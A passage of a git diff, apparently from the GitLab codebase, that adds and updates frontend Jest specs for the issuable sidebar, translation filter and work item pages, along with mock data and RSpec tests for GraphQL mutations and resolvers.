+ titleHtml: 'Sample title',
+ description: '# Summary',
+ descriptionHtml:
+ '<h1 data-sourcepos="1:1-1:25" dir="auto">&#x000A;<a id="user-content-magnoque-it-lurida-deus" class="anchor" href="#magnoque-it-lurida-deus" aria-hidden="true"></a>Summary</h1>',
+ state: 'opened',
+ blocked: false,
+ confidential: false,
+ updatedBy: issuable.author,
+ type: 'ISSUE',
+ currentUserTodos: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Todo/489',
+ state: 'done',
+ },
+ ],
+ },
+};
+
+export const mockIssuableShowProps = {
+ issuable: mockIssuable,
+ descriptionHelpPath: '/help/user/markdown',
+ descriptionPreviewPath: '/gitlab-org/gitlab-shell/preview_markdown',
+ taskListUpdatePath: `${mockIssuable.webUrl}.json`,
+ taskListLockVersion: 1,
+ editFormVisible: false,
+ enableAutocomplete: true,
+ enableAutosave: true,
+ enableZenMode: true,
+ enableTaskList: true,
+ enableEdit: true,
+ showFieldTitle: false,
+ statusBadgeClass: 'status-box-open',
+ statusIcon: 'issue-open-m',
+ taskCompletionStatus: {
+ completedCount: 0,
+ count: 5,
+ },
+};
diff --git a/spec/frontend/vue_shared/issuable/sidebar/components/issuable_sidebar_root_spec.js b/spec/frontend/vue_shared/issuable/sidebar/components/issuable_sidebar_root_spec.js
new file mode 100644
index 00000000000..788ba70ddc0
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/sidebar/components/issuable_sidebar_root_spec.js
@@ -0,0 +1,131 @@
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
+import Cookies from 'js-cookie';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
+import IssuableSidebarRoot from '~/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue';
+import { USER_COLLAPSED_GUTTER_COOKIE } from '~/vue_shared/issuable/sidebar/constants';
+
+const MOCK_LAYOUT_PAGE_CLASS = 'layout-page';
+
+const createComponent = () => {
+ setFixtures(`<div class="${MOCK_LAYOUT_PAGE_CLASS}"></div>`);
+
+ return shallowMountExtended(IssuableSidebarRoot, {
+ slots: {
+ 'right-sidebar-items': `
+ <button class="js-todo">Todo</button>
+ `,
+ },
+ });
+};
+
+describe('IssuableSidebarRoot', () => {
+ let wrapper;
+
+ const findToggleSidebarButton = () => wrapper.findByTestId('toggle-right-sidebar-button');
+
+ const assertPageLayoutClasses = ({ isExpanded }) => {
+ const { classList } = document.querySelector(`.${MOCK_LAYOUT_PAGE_CLASS}`);
+ if (isExpanded) {
+ expect(classList).toContain('right-sidebar-expanded');
+ expect(classList).not.toContain('right-sidebar-collapsed');
+ } else {
+ expect(classList).toContain('right-sidebar-collapsed');
+ expect(classList).not.toContain('right-sidebar-expanded');
+ }
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when sidebar is expanded', () => {
+ beforeEach(() => {
+ jest.spyOn(Cookies, 'set').mockImplementation(jest.fn());
+ jest.spyOn(Cookies, 'get').mockReturnValue(false);
+ jest.spyOn(bp, 'isDesktop').mockReturnValue(true);
+
+ wrapper = createComponent();
+ });
+
+ it('renders component container element with class `right-sidebar-expanded`', () => {
+ expect(wrapper.classes()).toContain('right-sidebar-expanded');
+ });
+
+ it('sets layout class to reflect expanded state', () => {
+ assertPageLayoutClasses({ isExpanded: true });
+ });
+
+ it('renders sidebar toggle button with text and icon', () => {
+ const buttonEl = findToggleSidebarButton();
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
+ expect(buttonEl.find('span').text()).toBe('Collapse sidebar');
+ expect(wrapper.findByTestId('icon-collapse').isVisible()).toBe(true);
+ });
+
+ describe('when collapsing the sidebar', () => {
+ it('updates "collapsed_gutter" cookie value and layout classes', async () => {
+ await findToggleSidebarButton().trigger('click');
+
+ expect(Cookies.set).toHaveBeenCalledWith(USER_COLLAPSED_GUTTER_COOKIE, true);
+ assertPageLayoutClasses({ isExpanded: false });
+ });
+ });
+
+ describe('when window `resize` event is triggered', () => {
+ it.each`
+ breakpoint | isExpandedValue
+ ${'xs'} | ${false}
+ ${'sm'} | ${false}
+ ${'md'} | ${false}
+ ${'lg'} | ${true}
+ ${'xl'} | ${true}
+ `(
+ 'sets page layout classes correctly when current screen size is `$breakpoint`',
+ async ({ breakpoint, isExpandedValue }) => {
+ jest.spyOn(bp, 'isDesktop').mockReturnValue(breakpoint === 'lg' || breakpoint === 'xl');
+
+ window.dispatchEvent(new Event('resize'));
+ await wrapper.vm.$nextTick();
+
+ assertPageLayoutClasses({ isExpanded: isExpandedValue });
+ },
+ );
+ });
+ });
+
+ describe('when sidebar is collapsed', () => {
+ beforeEach(() => {
+ jest.spyOn(Cookies, 'get').mockReturnValue(true);
+
+ wrapper = createComponent();
+ });
+
+ it('renders component container element with class `right-sidebar-collapsed`', () => {
+ expect(wrapper.classes()).toContain('right-sidebar-collapsed');
+ });
+
+ it('sets layout class to reflect collapsed state', () => {
+ assertPageLayoutClasses({ isExpanded: false });
+ });
+
+ it('renders sidebar toggle button with text and icon', () => {
+ const buttonEl = findToggleSidebarButton();
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
+ expect(wrapper.findByTestId('icon-expand').isVisible()).toBe(true);
+ });
+ });
+
+ it('renders slotted sidebar items', () => {
+ wrapper = createComponent();
+
+ const sidebarItemsEl = wrapper.findByTestId('sidebar-items');
+
+ expect(sidebarItemsEl.exists()).toBe(true);
+ expect(sidebarItemsEl.find('button.js-todo').exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/vue_shared/security_reports/mock_data.js b/spec/frontend/vue_shared/security_reports/mock_data.js
index cdaeec78e47..2b1513bb0f8 100644
--- a/spec/frontend/vue_shared/security_reports/mock_data.js
+++ b/spec/frontend/vue_shared/security_reports/mock_data.js
@@ -341,12 +341,15 @@ export const securityReportMergeRequestDownloadPathsQueryNoArtifactsResponse = {
export const securityReportMergeRequestDownloadPathsQueryResponse = {
project: {
+ id: '1',
mergeRequest: {
+ id: 'mr-1',
headPipeline: {
id: 'gid://gitlab/Ci::Pipeline/176',
jobs: {
nodes: [
{
+ id: 'job-1',
name: 'secret_detection',
artifacts: {
nodes: [
@@ -368,6 +371,7 @@ export const securityReportMergeRequestDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-2',
name: 'bandit-sast',
artifacts: {
nodes: [
@@ -389,6 +393,7 @@ export const securityReportMergeRequestDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-3',
name: 'eslint-sast',
artifacts: {
nodes: [
@@ -410,6 +415,7 @@ export const securityReportMergeRequestDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-4',
name: 'all_artifacts',
artifacts: {
nodes: [
@@ -449,11 +455,13 @@ export const securityReportMergeRequestDownloadPathsQueryResponse = {
export const securityReportPipelineDownloadPathsQueryResponse = {
project: {
+ id: 'project-1',
pipeline: {
id: 'gid://gitlab/Ci::Pipeline/176',
jobs: {
nodes: [
{
+ id: 'job-1',
name: 'secret_detection',
artifacts: {
nodes: [
@@ -475,6 +483,7 @@ export const securityReportPipelineDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-2',
name: 'bandit-sast',
artifacts: {
nodes: [
@@ -496,6 +505,7 @@ export const securityReportPipelineDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-3',
name: 'eslint-sast',
artifacts: {
nodes: [
@@ -517,6 +527,7 @@ export const securityReportPipelineDownloadPathsQueryResponse = {
__typename: 'CiJob',
},
{
+ id: 'job-4',
name: 'all_artifacts',
artifacts: {
nodes: [
diff --git a/spec/frontend/vue_shared/translate_spec.js b/spec/frontend/vue_shared/translate_spec.js
index 42aa28a6309..30417161968 100644
--- a/spec/frontend/vue_shared/translate_spec.js
+++ b/spec/frontend/vue_shared/translate_spec.js
@@ -1,9 +1,9 @@
-import { mount, createLocalVue } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
+import Vue from 'vue';
import locale from '~/locale';
import Translate from '~/vue_shared/translate';
-const localVue = createLocalVue();
-localVue.use(Translate);
+Vue.use(Translate);
describe('Vue translate filter', () => {
const createTranslationMock = (key, ...translations) => {
@@ -26,16 +26,13 @@ describe('Vue translate filter', () => {
const translation = 'singular_translated';
createTranslationMock(key, translation);
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ __('${key}') }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(translation);
});
@@ -45,16 +42,13 @@ describe('Vue translate filter', () => {
const translationPlural = 'plural_multiple translation';
createTranslationMock(key, 'plural_singular translation', translationPlural);
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ n__('${key}', 'plurals', 2) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(translationPlural);
});
@@ -67,31 +61,25 @@ describe('Vue translate filter', () => {
});
it('and n === 1', () => {
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ n__('${key}', '%d days', 1) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe('1 singular translated');
});
it('and n > 1', () => {
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ n__('${key}', '%d days', 2) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe('2 plural translated');
});
@@ -107,31 +95,25 @@ describe('Vue translate filter', () => {
});
it('and using two parameters', () => {
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ s__('Context', 'Foobar') }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(expectation);
});
it('and using the pipe syntax', () => {
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ s__('${key}') }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(expectation);
});
@@ -141,9 +123,8 @@ describe('Vue translate filter', () => {
const translation = 'multiline string translated';
createTranslationMock('multiline string', translation);
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ __(\`
multiline
@@ -151,9 +132,7 @@ describe('Vue translate filter', () => {
\`) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(translation);
});
@@ -163,9 +142,8 @@ describe('Vue translate filter', () => {
createTranslationMock('multiline string', 'multiline string singular', translation);
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ n__(
\`
@@ -180,9 +158,7 @@ describe('Vue translate filter', () => {
) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(translation);
});
@@ -192,9 +168,8 @@ describe('Vue translate filter', () => {
createTranslationMock('Context| multiline string', translation);
- const wrapper = mount(
- {
- template: `
+ const wrapper = mount({
+ template: `
<span>
{{ s__(
\`
@@ -205,9 +180,7 @@ describe('Vue translate filter', () => {
) }}
</span>
`,
- },
- { localVue },
- );
+ });
expect(wrapper.text()).toBe(translation);
});
diff --git a/spec/frontend/work_items/components/item_title_spec.js b/spec/frontend/work_items/components/item_title_spec.js
new file mode 100644
index 00000000000..0f6e7091c59
--- /dev/null
+++ b/spec/frontend/work_items/components/item_title_spec.js
@@ -0,0 +1,56 @@
+import { shallowMount } from '@vue/test-utils';
+import { escape } from 'lodash';
+import ItemTitle from '~/work_items/components/item_title.vue';
+
+jest.mock('lodash/escape', () => jest.fn((fn) => fn));
+
+const createComponent = ({ initialTitle = 'Sample title', disabled = false } = {}) =>
+ shallowMount(ItemTitle, {
+ propsData: {
+ initialTitle,
+ disabled,
+ },
+ });
+
+describe('ItemTitle', () => {
+ let wrapper;
+ const mockUpdatedTitle = 'Updated title';
+ const findInputEl = () => wrapper.find('span#item-title');
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders title contents', () => {
+ expect(findInputEl().attributes()).toMatchObject({
+ 'data-placeholder': 'Add a title...',
+ contenteditable: 'true',
+ });
+ expect(findInputEl().text()).toBe('Sample title');
+ });
+
+ it('renders title contents with editing disabled', () => {
+ wrapper = createComponent({
+ disabled: true,
+ });
+
+ expect(wrapper.classes()).toContain('gl-cursor-not-allowed');
+ expect(findInputEl().attributes('contenteditable')).toBe('false');
+ });
+
+ it.each`
+ eventName | sourceEvent
+ ${'title-changed'} | ${'blur'}
+ ${'title-input'} | ${'keyup'}
+ `('emits "$eventName" event on input $sourceEvent', async ({ eventName, sourceEvent }) => {
+ findInputEl().element.innerText = mockUpdatedTitle;
+ await findInputEl().trigger(sourceEvent);
+
+ expect(wrapper.emitted(eventName)).toBeTruthy();
+ expect(escape).toHaveBeenCalledWith(mockUpdatedTitle);
+ });
+});
diff --git a/spec/frontend/work_items/mock_data.js b/spec/frontend/work_items/mock_data.js
index efb4aa2feb2..9741a193258 100644
--- a/spec/frontend/work_items/mock_data.js
+++ b/spec/frontend/work_items/mock_data.js
@@ -1,13 +1,13 @@
export const workItemQueryResponse = {
workItem: {
- __typename: 'WorkItem',
+ __typename: 'LocalWorkItem',
id: '1',
type: 'FEATURE',
widgets: {
- __typename: 'WorkItemWidgetConnection',
+ __typename: 'LocalWorkItemWidgetConnection',
nodes: [
{
- __typename: 'TitleWidget',
+ __typename: 'LocalTitleWidget',
type: 'TITLE',
contentText: 'Test',
},
@@ -15,3 +15,22 @@ export const workItemQueryResponse = {
},
},
};
+
+export const updateWorkItemMutationResponse = {
+ __typename: 'LocalUpdateWorkItemPayload',
+ workItem: {
+ __typename: 'LocalWorkItem',
+ id: '1',
+ widgets: {
+ __typename: 'LocalWorkItemWidgetConnection',
+ nodes: [
+ {
+ __typename: 'LocalTitleWidget',
+ type: 'TITLE',
+ enabled: true,
+ contentText: 'Updated title',
+ },
+ ],
+ },
+ },
+};
diff --git a/spec/frontend/work_items/pages/create_work_item_spec.js b/spec/frontend/work_items/pages/create_work_item_spec.js
new file mode 100644
index 00000000000..71e153d30c3
--- /dev/null
+++ b/spec/frontend/work_items/pages/create_work_item_spec.js
@@ -0,0 +1,94 @@
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import { GlAlert } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import CreateWorkItem from '~/work_items/pages/create_work_item.vue';
+import ItemTitle from '~/work_items/components/item_title.vue';
+import { resolvers } from '~/work_items/graphql/resolvers';
+
+Vue.use(VueApollo);
+
+describe('Create work item component', () => {
+ let wrapper;
+ let fakeApollo;
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findTitleInput = () => wrapper.findComponent(ItemTitle);
+ const findCreateButton = () => wrapper.find('[data-testid="create-button"]');
+ const findCancelButton = () => wrapper.find('[data-testid="cancel-button"]');
+
+ const createComponent = ({ data = {} } = {}) => {
+ fakeApollo = createMockApollo([], resolvers);
+ wrapper = shallowMount(CreateWorkItem, {
+ apolloProvider: fakeApollo,
+ data() {
+ return {
+ ...data,
+ };
+ },
+ mocks: {
+ $router: {
+ go: jest.fn(),
+ push: jest.fn(),
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ it('does not render error by default', () => {
+ createComponent();
+
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('renders a disabled Create button when title input is empty', () => {
+ createComponent();
+
+ expect(findCreateButton().props('disabled')).toBe(true);
+ });
+
+ it('redirects to the previous page on Cancel button click', () => {
+ createComponent();
+ findCancelButton().vm.$emit('click');
+
+ expect(wrapper.vm.$router.go).toHaveBeenCalledWith(-1);
+ });
+
+ it('hides the alert on dismissing the error', async () => {
+ createComponent({ data: { error: true } });
+ expect(findAlert().exists()).toBe(true);
+
+ findAlert().vm.$emit('dismiss');
+ await nextTick();
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ describe('when title input field has a text', () => {
+ beforeEach(async () => {
+ const mockTitle = 'Test title';
+ createComponent();
+ await findTitleInput().vm.$emit('title-input', mockTitle);
+ });
+
+ it('renders a non-disabled Create button', () => {
+ expect(findCreateButton().props('disabled')).toBe(false);
+ });
+
+ it('redirects to the work item page on successful mutation', async () => {
+ wrapper.find('form').trigger('submit');
+ await waitForPromises();
+
+ expect(wrapper.vm.$router.push).toHaveBeenCalled();
+ });
+
+ // TODO: write a proper test here when we have a backend implementation
+ it.todo('shows an alert on mutation error');
+ });
+});
diff --git a/spec/frontend/work_items/pages/work_item_root_spec.js b/spec/frontend/work_items/pages/work_item_root_spec.js
index 64d02baed36..02795751f33 100644
--- a/spec/frontend/work_items/pages/work_item_root_spec.js
+++ b/spec/frontend/work_items/pages/work_item_root_spec.js
@@ -1,12 +1,16 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vue from 'vue';
+import { shallowMount } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
import workItemQuery from '~/work_items/graphql/work_item.query.graphql';
+import updateWorkItemMutation from '~/work_items/graphql/update_work_item.mutation.graphql';
import WorkItemsRoot from '~/work_items/pages/work_item_root.vue';
+import ItemTitle from '~/work_items/components/item_title.vue';
+import { resolvers } from '~/work_items/graphql/resolvers';
import { workItemQueryResponse } from '../mock_data';
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
const WORK_ITEM_ID = '1';
@@ -14,10 +18,10 @@ describe('Work items root component', () => {
let wrapper;
let fakeApollo;
- const findTitle = () => wrapper.find('[data-testid="title"]');
+ const findTitle = () => wrapper.findComponent(ItemTitle);
const createComponent = ({ queryResponse = workItemQueryResponse } = {}) => {
- fakeApollo = createMockApollo();
+ fakeApollo = createMockApollo([], resolvers);
fakeApollo.clients.defaultClient.cache.writeQuery({
query: workItemQuery,
variables: {
@@ -30,7 +34,6 @@ describe('Work items root component', () => {
propsData: {
id: WORK_ITEM_ID,
},
- localVue,
apolloProvider: fakeApollo,
});
};
@@ -44,7 +47,28 @@ describe('Work items root component', () => {
createComponent();
expect(findTitle().exists()).toBe(true);
- expect(findTitle().text()).toBe('Test');
+ expect(findTitle().props('initialTitle')).toBe('Test');
+ });
+
+ it('updates the title when it is edited', async () => {
+ createComponent();
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+ const mockUpdatedTitle = 'Updated title';
+
+ await findTitle().vm.$emit('title-changed', mockUpdatedTitle);
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: updateWorkItemMutation,
+ variables: {
+ input: {
+ id: WORK_ITEM_ID,
+ title: mockUpdatedTitle,
+ },
+ },
+ });
+
+ await waitForPromises();
+ expect(findTitle().props('initialTitle')).toBe(mockUpdatedTitle);
});
it('does not render the title if title is not in the widgets list', () => {
diff --git a/spec/frontend/work_items/router_spec.js b/spec/frontend/work_items/router_spec.js
index 0a57eab753f..6017c9d9dbb 100644
--- a/spec/frontend/work_items/router_spec.js
+++ b/spec/frontend/work_items/router_spec.js
@@ -1,5 +1,6 @@
import { mount } from '@vue/test-utils';
import App from '~/work_items/components/app.vue';
+import CreateWorkItem from '~/work_items/pages/create_work_item.vue';
import WorkItemsRoot from '~/work_items/pages/work_item_root.vue';
import { createRouter } from '~/work_items/router';
@@ -27,4 +28,10 @@ describe('Work items router', () => {
expect(wrapper.find(WorkItemsRoot).exists()).toBe(true);
});
+
+ it('renders create work item page on `/new` route', async () => {
+ await createComponent('/new');
+
+ expect(wrapper.findComponent(CreateWorkItem).exists()).toBe(true);
+ });
});
diff --git a/spec/frontend_integration/ide/helpers/ide_helper.js b/spec/frontend_integration/ide/helpers/ide_helper.js
index 56b2e298aa3..54a522324f5 100644
--- a/spec/frontend_integration/ide/helpers/ide_helper.js
+++ b/spec/frontend_integration/ide/helpers/ide_helper.js
@@ -192,6 +192,13 @@ export const commit = async ({ newBranch = false, newMR = false, newBranchName =
switchLeftSidebarTab('Commit');
screen.getByTestId('begin-commit-button').click();
+ await waitForMonacoEditor();
+
+ const mrCheck = await screen.findByLabelText('Start a new merge request');
+ if (Boolean(mrCheck.checked) !== newMR) {
+ mrCheck.click();
+ }
+
if (!newBranch) {
const option = await screen.findByLabelText(/Commit to .+ branch/);
option.click();
@@ -201,12 +208,9 @@ export const commit = async ({ newBranch = false, newMR = false, newBranchName =
const branchNameInput = await screen.findByTestId('ide-new-branch-name');
fireEvent.input(branchNameInput, { target: { value: newBranchName } });
-
- const mrCheck = await screen.findByLabelText('Start a new merge request');
- if (Boolean(mrCheck.checked) !== newMR) {
- mrCheck.click();
- }
}
screen.getByText('Commit').click();
+
+ await waitForMonacoEditor();
};
diff --git a/spec/frontend_integration/ide/helpers/start.js b/spec/frontend_integration/ide/helpers/start.js
index 4451c1ee946..3c5ed9dfe20 100644
--- a/spec/frontend_integration/ide/helpers/start.js
+++ b/spec/frontend_integration/ide/helpers/start.js
@@ -4,16 +4,18 @@ import setWindowLocation from 'helpers/set_window_location_helper';
import { TEST_HOST } from 'helpers/test_constants';
import { initIde } from '~/ide';
import extendStore from '~/ide/stores/extend';
+import { getProject, getEmptyProject } from 'jest/../frontend_integration/test_helpers/fixtures';
import { IDE_DATASET } from './mock_data';
export default (container, { isRepoEmpty = false, path = '', mrId = '' } = {}) => {
const projectName = isRepoEmpty ? 'lorem-ipsum-empty' : 'lorem-ipsum';
const pathSuffix = mrId ? `merge_requests/${mrId}` : `tree/master/-/${path}`;
+ const project = isRepoEmpty ? getEmptyProject() : getProject();
setWindowLocation(`${TEST_HOST}/-/ide/project/gitlab-test/${projectName}/${pathSuffix}`);
const el = document.createElement('div');
- Object.assign(el.dataset, IDE_DATASET);
+ Object.assign(el.dataset, IDE_DATASET, { project: JSON.stringify(project) });
container.appendChild(el);
const vm = initIde(el, { extendStore });
diff --git a/spec/frontend_integration/ide/user_opens_ide_spec.js b/spec/frontend_integration/ide/user_opens_ide_spec.js
index f56cd008d1c..c9d78d1de8f 100644
--- a/spec/frontend_integration/ide/user_opens_ide_spec.js
+++ b/spec/frontend_integration/ide/user_opens_ide_spec.js
@@ -34,10 +34,10 @@ describe('IDE: User opens IDE', () => {
expect(await screen.findByText('No files')).toBeDefined();
});
- it('shows a "New file" button', async () => {
- const button = await screen.findByTitle('New file');
+ it('shows a "New file" button', () => {
+ const buttons = screen.queryAllByTitle('New file');
- expect(button.tagName).toEqual('BUTTON');
+ expect(buttons.map((x) => x.tagName)).toContain('BUTTON');
});
});
diff --git a/spec/frontend_integration/test_helpers/setup/index.js b/spec/frontend_integration/test_helpers/setup/index.js
index 946ccbec00c..0c16592f2e2 100644
--- a/spec/frontend_integration/test_helpers/setup/index.js
+++ b/spec/frontend_integration/test_helpers/setup/index.js
@@ -1,4 +1,4 @@
-import '../../../frontend/test_setup';
+import 'helpers/shared_test_setup';
import './setup_globals';
import './setup_axios';
import './setup_serializers';
diff --git a/spec/frontend_integration/test_helpers/setup/setup_globals.js b/spec/frontend_integration/test_helpers/setup/setup_globals.js
index b63a9a96372..ac5aeb1dd72 100644
--- a/spec/frontend_integration/test_helpers/setup/setup_globals.js
+++ b/spec/frontend_integration/test_helpers/setup/setup_globals.js
@@ -1,15 +1,10 @@
-import { setTestTimeout } from 'helpers/timeout';
+import { initializeTestTimeout } from 'helpers/timeout';
+
+initializeTestTimeout(process.env.CI ? 20000 : 7000);
beforeEach(() => {
window.gon = {
api_version: 'v4',
relative_url_root: '',
};
-
- setTestTimeout(7000);
- jest.useRealTimers();
-});
-
-afterEach(() => {
- jest.useFakeTimers();
});
diff --git a/spec/graphql/mutations/merge_requests/accept_spec.rb b/spec/graphql/mutations/merge_requests/accept_spec.rb
index db75c64a447..c97c78ec206 100644
--- a/spec/graphql/mutations/merge_requests/accept_spec.rb
+++ b/spec/graphql/mutations/merge_requests/accept_spec.rb
@@ -5,14 +5,14 @@ require 'spec_helper'
RSpec.describe Mutations::MergeRequests::Accept do
include AfterNextHelpers
- let_it_be(:user) { create(:user) }
- let(:project) { create(:project, :public, :repository) }
-
subject(:mutation) { described_class.new(context: context, object: nil, field: nil) }
- let_it_be(:context) do
+ let_it_be(:user) { create(:user) }
+
+ let(:project) { create(:project, :public, :repository) }
+ let(:context) do
GraphQL::Query::Context.new(
- query: OpenStruct.new(schema: GitlabSchema),
+ query: double('query', schema: GitlabSchema),
values: { current_user: user },
object: nil
)
diff --git a/spec/graphql/mutations/merge_requests/create_spec.rb b/spec/graphql/mutations/merge_requests/create_spec.rb
index ba0ac3cbe66..83af1e3f1b3 100644
--- a/spec/graphql/mutations/merge_requests/create_spec.rb
+++ b/spec/graphql/mutations/merge_requests/create_spec.rb
@@ -7,9 +7,10 @@ RSpec.describe Mutations::MergeRequests::Create do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:user) { create(:user) }
- let_it_be(:context) do
+
+ let(:context) do
GraphQL::Query::Context.new(
- query: OpenStruct.new(schema: nil),
+ query: double('query', schema: nil),
values: { current_user: user },
object: nil
)
diff --git a/spec/graphql/mutations/user_callouts/create_spec.rb b/spec/graphql/mutations/user_callouts/create_spec.rb
index 93f227d8b82..eac39bdd1b0 100644
--- a/spec/graphql/mutations/user_callouts/create_spec.rb
+++ b/spec/graphql/mutations/user_callouts/create_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Mutations::UserCallouts::Create do
let(:feature_name) { 'not_supported' }
it 'does not create a user callout' do
- expect { resolve }.not_to change(UserCallout, :count).from(0)
+ expect { resolve }.not_to change(Users::Callout, :count).from(0)
end
it 'returns error about feature name not being supported' do
@@ -22,10 +22,10 @@ RSpec.describe Mutations::UserCallouts::Create do
end
context 'when feature name is supported' do
- let(:feature_name) { UserCallout.feature_names.each_key.first.to_s }
+ let(:feature_name) { Users::Callout.feature_names.each_key.first.to_s }
it 'creates a user callout' do
- expect { resolve }.to change(UserCallout, :count).from(0).to(1)
+ expect { resolve }.to change(Users::Callout, :count).from(0).to(1)
end
it 'sets dismissed_at for the user callout' do
diff --git a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
index 53d2c8a853c..6907c55bd48 100644
--- a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe Resolvers::BoardListIssuesResolver do
let(:wildcard_started) { 'STARTED' }
let(:filters) { { milestone_title: ["started"], milestone_wildcard_id: wildcard_started } }
- it 'raises a mutually exclusive filter error when milstone wildcard and title are provided' do
+ it 'raises a mutually exclusive filter error when milestone wildcard and title are provided' do
expect do
resolve_board_list_issues(args: { filters: filters })
end.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
@@ -80,6 +80,16 @@ RSpec.describe Resolvers::BoardListIssuesResolver do
expect(result).to match_array([])
end
+
+ context 'when filtering by confidential' do
+ let(:confidential_issue) { create(:issue, project: project, labels: [label], relative_position: nil, confidential: true) }
+
+ it 'returns matching issue' do
+ result = resolve_board_list_issues(args: { filters: { confidential: true } })
+
+ expect(result).to contain_exactly(confidential_issue)
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/ci/runner_status_resolver_spec.rb b/spec/graphql/resolvers/ci/runner_status_resolver_spec.rb
new file mode 100644
index 00000000000..fbef07b72e6
--- /dev/null
+++ b/spec/graphql/resolvers/ci/runner_status_resolver_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Ci::RunnerStatusResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let(:user) { build(:user) }
+ let(:runner) { build(:ci_runner) }
+
+ subject(:resolve_subject) { resolve(described_class, ctx: { current_user: user }, obj: runner, args: args) }
+
+ context 'with legacy_mode' do
+ context 'set to 14.5' do
+ let(:args) do
+ { legacy_mode: '14.5' }
+ end
+
+ it 'calls runner.status with specified legacy_mode' do
+ expect(runner).to receive(:status).with('14.5').once.and_return(:online)
+
+ expect(resolve_subject).to eq(:online)
+ end
+ end
+
+ context 'set to nil' do
+ let(:args) do
+ { legacy_mode: nil }
+ end
+
+ it 'calls runner.status with specified legacy_mode' do
+ expect(runner).to receive(:status).with(nil).once.and_return(:stale)
+
+ expect(resolve_subject).to eq(:stale)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/ci/runners_resolver_spec.rb b/spec/graphql/resolvers/ci/runners_resolver_spec.rb
index bb8dadeca40..df6490df915 100644
--- a/spec/graphql/resolvers/ci/runners_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/runners_resolver_spec.rb
@@ -45,6 +45,7 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
let(:finder) { instance_double(::Ci::RunnersFinder) }
let(:args) do
{
+ active: true,
status: 'active',
type: :instance_type,
tag_list: ['active_runner'],
@@ -55,6 +56,7 @@ RSpec.describe Resolvers::Ci::RunnersResolver do
let(:expected_params) do
{
+ active: true,
status_status: 'active',
type_type: :instance_type,
tag_name: ['active_runner'],
diff --git a/spec/graphql/resolvers/clusters/agent_activity_events_resolver_spec.rb b/spec/graphql/resolvers/clusters/agent_activity_events_resolver_spec.rb
new file mode 100644
index 00000000000..5a6b27e43a5
--- /dev/null
+++ b/spec/graphql/resolvers/clusters/agent_activity_events_resolver_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Clusters::AgentActivityEventsResolver do
